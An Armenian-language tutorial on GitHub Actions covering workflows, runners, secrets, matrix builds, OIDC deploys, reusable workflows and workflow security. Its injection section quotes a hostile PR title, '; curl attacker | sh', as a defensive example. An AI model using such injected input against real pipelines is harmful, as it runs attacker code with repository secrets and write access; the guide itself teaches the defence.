GitHub Actions

01Հիմնական կառուցվածքային մասերը՝ workflow-ներ, event-ներ, job-եր, step-եր

Workflow-ը մեկ YAML ֆայլ է .github/workflows-ում։ Այն սկսվում է on:-ով՝ այն event-ներով, որոնք այն գործարկում են, օրինակ՝ push, pull_request, workflow_dispatch (ձեռքով կոճակ) կամ schedule (cron)։ Workflow-ը պարունակում է job-եր․ յուրաքանչյուր job աշխատում է իր սեփական runner-ի վրա՝ նոր մեքենայի, որը հետո դեն է նետվում։ Լռելյայն job-երը աշխատում են զուգահեռ, իսկ needs:-ը ստիպում է մի job-ին սպասել մյուսին։ Job-ը step-երի ցուցակ է։ Step-ը կա՛մ shell հրամաններ է աշխատեցնում run:-ով, կա՛մ օգտագործում է փաթեթավորված action uses:-ով, օրինակ՝ actions/checkout-ը ռեպոզիտորիան clone անելու համար։ Պատկերացրու բաղադրատոմսերի գիրք․ workflow-ը գիրքն է, job-երը բաղադրատոմսեր են, որոնք կարելի է միաժամանակ պատրաստել տարբեր խոհանոցներում, իսկ step-երը յուրաքանչյուր բաղադրատոմսի տողերն են։ Քանի որ ամեն job սկսվում է մաքուր մեքենայի վրա, job-երի միջև ոչինչ չի փոխանցվում, եթե բացահայտ չփոխանցես որպես artifact, cache-ի գրառում կամ job output։

• Workflow = ֆայլ, որը գործարկվում է event-ներով։
• Job = աշխատում է մեկ runner-ի վրա․ զուգահեռ է, եթե needs:-ն այլ բան չի ասում։
• Step = shell հրաման (run:) կամ action (uses:)։

02Քո առաջին CI workflow-ը

Ստորև բերված workflow-ը աշխատում է ամեն pull request-ի և main-ի push-երի վրա։ Այն վերցնում է կոդը, տեղադրում Node.js՝ setup-node-ի մեջ ներկառուցված dependency cache-ով, npm ci-ով տեղադրում lockfile-ի ճշգրիտ տարբերակները, հետո աշխատեցնում lint և թեստեր։ Երկու տող ավելի կարևոր են, քան թվում է։ permissions: contents: read-ը ավտոմատ GITHUB_TOKEN-ը սահմանափակում է միայն կարդալու իրավունքով, ուստի կոտրված step-ը չի կարող կոդ push անել։ concurrency-ն չեղարկում է նույն branch-ի ավելի հին run-ը, երբ նոր commit է գալիս․ դա խնայում է րոպեներ և խուսափում է շփոթեցնող արդյունքներից։ Action-ների տարբերակները գրված են @v7՝ major-տարբերակի tag-ով։ GitHub-ի հրապարակած action-ների համար սա խելամիտ լռելյայն ընտրություն է, իսկ երրորդ կողմի action-ները ամրացրու ամբողջական commit SHA-ով, որի մասին կխոսենք ավելի ուշ։

1name: CI
2on:
3  pull_request:
4  push:
5    branches: [main]
6permissions:
7  contents: read
8concurrency:
9  group: ci-${{ github.ref }}
10  cancel-in-progress: true
11jobs:
12  test:
13    runs-on: ubuntu-latest
14    steps:
15      - uses: actions/checkout@v7
16      - uses: actions/setup-node@v7
17        with: { node-version: 24, cache: npm }
18      - run: npm ci
19      - run: npm run lint && npm test

03Runner-ներ՝ GitHub-hosted, larger և self-hosted

Runner-ը այն մեքենան է, որը կատարում է job-ը։ GitHub-hosted runner-ները (ubuntu-latest, windows-latest, macos-latest և ARM տարբերակներ) ամեն job-ի համար նոր VM-ներ են, որոնք patch է անում GitHub-ը, և private ռեպոզիտորիաների համար վճարվում են րոպեով․ public ռեպոզիտորիաները ստանդարտ չափերով դրանք ստանում են անվճար։ Larger runner-ները տալիս են ավելի շատ CPU և RAM, ստատիկ IP միջակայքեր և GPU տարբերակներ՝ ավելի բարձր գնով։ Self-hosted runner-ները քո սեփական մեքենաներն են կամ Kubernetes pod-երը, որոնց վրա աշխատում է runner agent-ը․ դրանք ընտրում ես label-ներով, օրինակ՝ runs-on: [self-hosted, linux]։ Դրանք օգտակար են, երբ պետք է հատուկ սարքավորում, մուտք private ցանց կամ ավելի էժան զանգվածային հաշվարկ։ Գինն այն է, որ patch անելը, scaling-ը և մաքրումը քո պատասխանատվությունն են։ Ամենակարևորը՝ երբեք self-hosted runner մի՛ միացրու public ռեպոզիտորիային, որովհետև pull request բացող ցանկացած մարդ կարող է կոդ աշխատեցնել քո մեքենայի վրա։ Autoscaling-ի համար Actions Runner Controller-ը (ARC) Kubernetes-ում ըստ պահանջի ստեղծում է ժամանակավոր runner pod-եր։

04Secret-ներ, փոփոխականներ և environment-ներ

Secret-ները գաղտնագրված արժեքներ են (API token-ներ, SSH բանալիներ), որոնք պահվում են ռեպոզիտորիայի, environment-ի կամ կազմակերպության կարգավորումներում և YAML-ում կարդացվում են որպես ${{ secrets.NAME }}։ GitHub-ը դրանք թաքցնում է լոգերում, բայց masking-ը անվտանգություն չէ․ step-ը, որը secret-ը base64-ով կոդավորում է, այն տպում է բաց տեսքով։ Փոփոխականները (${{ vars.NAME }}) ոչ գաղտնի կոնֆիգուրացիայի համար են, օրինակ՝ region-ի անունը։ Environment-ները (օրինակ՝ staging և production) խմբավորում են secret-ները և ավելացնում պաշտպանության կանոններ՝ պարտադիր review անողներ, սպասման ժամանակաչափ և թե որ branch-երը կարող են deploy անել։ Job-ը, որը հայտարարում է environment: production, դադար է տալիս, մինչև հաստատողը սեղմի approve, և միայն դրանից հետո կարող է կարդալ production-ի secret-ները։ Secret-ները չեն փոխանցվում fork-երից եկած pull request-ներով գործարկված workflow-ներին, ինչը պաշտպանում է անծանոթներից, որոնք կփորձեին դրանք դուրս հանել։ Ամպերի համար նախընտրիր OIDC․ workflow-ը պահանջում է ստորագրված identity token և այն փոխանակում է կարճաժամկետ ամպային credentials-ի հետ, ուստի չկա ամպային բանալի, որը կարող է արտահոսել կամ պետք է rotate անել։

05Matrix build-եր, cache և artifact-ներ

Matrix-ը նույն job-ը աշխատեցնում է տարբեր համակցություններով, օրինակ՝ Node-ի երեք տարբերակ երկու օպերացիոն համակարգի վրա, և մի քանի տողից ստացվում է վեց զուգահեռ job։ Դրիր fail-fast: false, երբ ուզում ես տեսնել բոլոր ձախողված համակցությունները, ոչ թե առաջին ձախողման ժամանակ չեղարկել մնացածը։ Cache-ը run-երի միջև խնայում է dependency-ների ներբեռնումը․ Node-ի, Python-ի, Java-ի և Go-ի setup action-ները ունեն cache input, իսկ actions/cache-ը մնացած ամեն ինչի համար է՝ lockfile-ի hash-ով key-ով, որպեսզի cache-ը թարմանա, երբ dependency-ները փոխվում են։ Artifact-ները այլ բան են․ դրանք ֆայլեր են, որոնք job-ն արտադրում է (build թղթապանակ, թեստերի հաշվետվություններ, coverage), և դու դրանք upload ես անում այլ job-երի կամ մարդկանց ներբեռնելու համար՝ պահպանման ժամկետով։ Հիմնական կանոնը․ cache արա այն, ինչ կարող ես վերակառուցել՝ ժամանակ խնայելու համար, իսկ artifact upload արա, երբ քեզ պետք է հենց այս run-ի ճշգրիտ արդյունքը։

1jobs:
2  test:
3    runs-on: ${{ matrix.os }}
4    strategy:
5      fail-fast: false
6      matrix:
7        os: [ubuntu-latest, windows-latest]
8        node: [20, 22, 24]
9    steps:
10      - uses: actions/checkout@v7
11      - uses: actions/setup-node@v7
12        with:
13          node-version: ${{ matrix.node }}
14          cache: npm
15      - run: npm ci && npm test

06Deploy job՝ հաստատումով և OIDC-ով

Տիպիկ pipeline-ը թեստավորում է ամեն pull request-ի վրա և deploy անում միայն main-ից։ Ստորև deploy job-ը needs:-ով սպասում է test job-ին, if:-ի շնորհիվ աշխատում է միայն main-ում և կապված է production environment-ին, ուստի պահանջում է հաստատում և կարող է կարդալ միայն production-ի secret-ները։ permissions: id-token: write-ը թույլ է տալիս job-ին պահանջել OIDC token, որը ամպային login action-ը փոխանակում է ժամանակավոր credentials-ի հետ այն role-ի համար, որը կարգավորել ես վստահել միայն այս ռեպոզիտորիային և branch-ին։ Role ARN-ը գաղտնի չէ, բայց պահիր այն փոփոխականում, որպեսզի ֆայլը մնա ընդհանուր։ Deploy-ը այստեղ placeholder script է․ դա կարող է լինել helm upgrade, rsync կամ hosting պրովայդերի CLI-ի կանչ։

1  deploy:
2    needs: test
3    if: github.ref == 'refs/heads/main'
4    runs-on: ubuntu-latest
5    environment: production
6    permissions:
7      contents: read
8      id-token: write
9    steps:
10      - uses: actions/checkout@v7
11      - uses: aws-actions/configure-aws-credentials@v6
12        with:
13          role-to-assume: ${{ vars.DEPLOY_ROLE_ARN }}
14          aws-region: eu-central-1
15      - run: ./scripts/deploy.sh

07Reusable workflow-ներ ընդդեմ composite action-ների

YAML copy-paste-ը դադարեցնելու երկու ճանապարհ։ Composite action-ը մի քանի step փաթեթավորում է մեկ action.yml-ի մեջ․ կանչողները այն օգտագործում են որպես մեկ step, ուստի այն աշխատում է կանչողի job-ի ներսում և կիսում է նրա runner-ը և ֆայլային համակարգը։ Այն իդեալական է կարգավորման հաջորդականության համար, օրինակ՝ գործիքների տեղադրում, cache-ի վերականգնում, login։ Reusable workflow-ը ամբողջական workflow է on: workflow_call-ով, input-ներով և secret-ներով․ կանչողները այն հղում են job-ի մակարդակում uses: org/repo/.github/workflows/deploy.yml@ref-ով։ Այն կարող է պարունակել մի քանի job, environment-ներ և սեփական runner-ներ, ինչը այն դարձնում է ճիշտ գործիք ստանդարտ pipeline-ի համար, որին պետք է հետևի յուրաքանչյուր ծառայություն։ Secret-ները պետք է փոխանցվեն բացահայտ կամ secrets: inherit-ով։ Ներդրվածությունը սահմանափակ է (մի քանի մակարդակ), և կանչողը կարող է միայն նվազեցնել, ոչ թե բարձրացնել կանչվող workflow-ի իրավունքները։ Պլատֆորմային թիմը հաճախ reusable workflow-ներ է հրապարակում կենտրոնական ռեպոզիտորիայից և դրանք պարտադրում required workflow-ներով կամ ruleset-ներով։

1# .github/workflows/deploy.yml (reusable)
2on:
3  workflow_call:
4    inputs:
5      environment: { type: string, required: true }
6    secrets:
7      DEPLOY_TOKEN: { required: true }
8jobs:
9  deploy:
10    runs-on: ubuntu-latest
11    environment: ${{ inputs.environment }}
12    steps:
13      - uses: actions/checkout@v7
14      - run: ./scripts/deploy.sh "${{ inputs.environment }}"
15        env:
16          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}

08OIDC վստահություն․ ինչպես են իրականում աշխատում առանց բանալու deploy-ները

Երբ job-ն ունի id-token: write, runner-ը կարող է GitHub-ի token ծառայությունից խնդրել GitHub-ի կողմից ստորագրված JSON Web Token։ Token-ի claim-երը նկարագրում են run-ը՝ ռեպոզիտորիան, ref-ը, environment-ը, workflow-ը և գործարկող actor-ը։ sub claim-ը նման է repo:your-org/your-repo:environment:production-ի։ Քո ամպում դու GitHub-ը գրանցում ես որպես identity provider և ստեղծում role, որի trust policy-ն ընդունում է միայն կոնկրետ audience-ով և sub-ով token-ներ։ Ամպը ստուգում է ստորագրությունը, claim-երը և վերադարձնում credentials, որոնք լրանում են մոտ մեկ ժամում։ Անվտանգությունը այնքան լավն է, որքան այդ պայմանը․ trust policy-ն, որը համապատասխանում է repo:your-org/*-ին, թույլ է տալիս կազմակերպության ցանկացած ռեպոզիտորիայի ստանձնել production role։ Production role-երը կապիր environment claim-ին, որպեսզի deploy անեն միայն այն job-երը, որոնք անցել են environment-ի հաստատման կանոնները։ Կազմակերպությունները կարող են նաև հարմարեցնել sub claim-ը՝ ավելացնելով ավելի շատ դաշտեր, օրինակ՝ job-ի workflow reference-ը։

09Workflow-ների անվտանգություն․ injection և անվստահելի trigger-ներ

Երկու դասական անցքերն են script injection-ը և արտոնյալ trigger-ները։ ${{ github.event.issue.title }}-ի նման արտահայտությունները տեղադրվում են script-ի տեքստի մեջ մինչև shell-ի աշխատելը, ուստի «; curl attacker | sh» պարունակող վերնագիրը դառնում է կոդ։ Լուծում․ անվստահելի արժեքները փոխանցիր env:-ով և հղիր դրանց որպես սովորական shell փոփոխականների, որոնք shell-ը դիտարկում է որպես տվյալ։ Երկրորդ անցքը pull_request_target-ն ու workflow_run-ն են․ դրանք, ըստ նախագծման, աշխատում են հիմնական ռեպոզիտորիայի կոնտեքստում՝ secret-ներով և գրելու token-ով, որպեսզի կարողանան label դնել կամ մեկնաբանել fork-ի pull request-ները։ Եթե այդպիսի workflow-ը checkout և build է անում fork-ի կոդը, այդ կոդը աշխատում է այդ արտոնություններով։ Արտոնյալ workflow-ները ազատ պահիր անվստահելի կոդից կամ բաժանիր աշխատանքը․ առանց արտոնությունների pull_request workflow-ը build է անում և upload անում արդյունքները, իսկ արտոնյալ workflow-ը artifact-ը կարդում է միայն որպես տվյալ։ zizmor-ի կամ actionlint-ի նման գործիքները CI-ում ավտոմատ նշում են այս pattern-ները։

1# Unsafe: title is pasted into the script
2- run: echo "${{ github.event.pull_request.title }}"
3 
4# Safe: title arrives as data in an env var
5- run: echo "$PR_TITLE"
6  env:
7    PR_TITLE: ${{ github.event.pull_request.title }}

10Արագություն և արժեք մեծ մասշտաբով

Pipeline-ի ժամանակը ծրագրավորողի ժամանակն է։ Նախ չափիր․ workflow run-ի ամփոփումը ցույց է տալիս յուրաքանչյուր job-ի տևողությունը։ Տարածված շահումներ․ lint-ը, unit թեստերը և type check-երը աշխատեցրու որպես զուգահեռ job-եր, օգտագործիր paths ֆիլտրեր, որպեսզի docs-ի փոփոխությունը չաշխատեցնի backend-ի ամբողջական թեստերը, cache արա dependency-ները և Docker շերտերը (docker/build-push-action-ը աջակցում է cache-to և cache-from type=gha-ով), մեծ թեստային հավաքածուները բաժանիր matrix shard-երի։ Չեղարկիր հնացած run-երը concurrency-ով։ Monorepo-ների համար հաշվիր ազդված փաթեթները և աշխատեցրու միայն դրանք։ Արժեքի առումով Linux-ի րոպեներն ամենաէժանն են, իսկ Windows-ի և macOS-ի րոպեները մի քանի անգամ ավելի թանկ են, ուստի այդ job-երը սահմանափակիր նրանով, ինչին իսկապես պետք են։ Երբ hosted րոպեները մեծ հաշիվ են դառնում, spot instance-ների վրա Actions Runner Controller-ով autoscale արվող ժամանակավոր self-hosted runner-ները կարող են կրճատել ծախսը, բայց այդ դեպքում այդ մեքենաների և դրանց հասանելի ցանցերի անվտանգությունը քոնն է։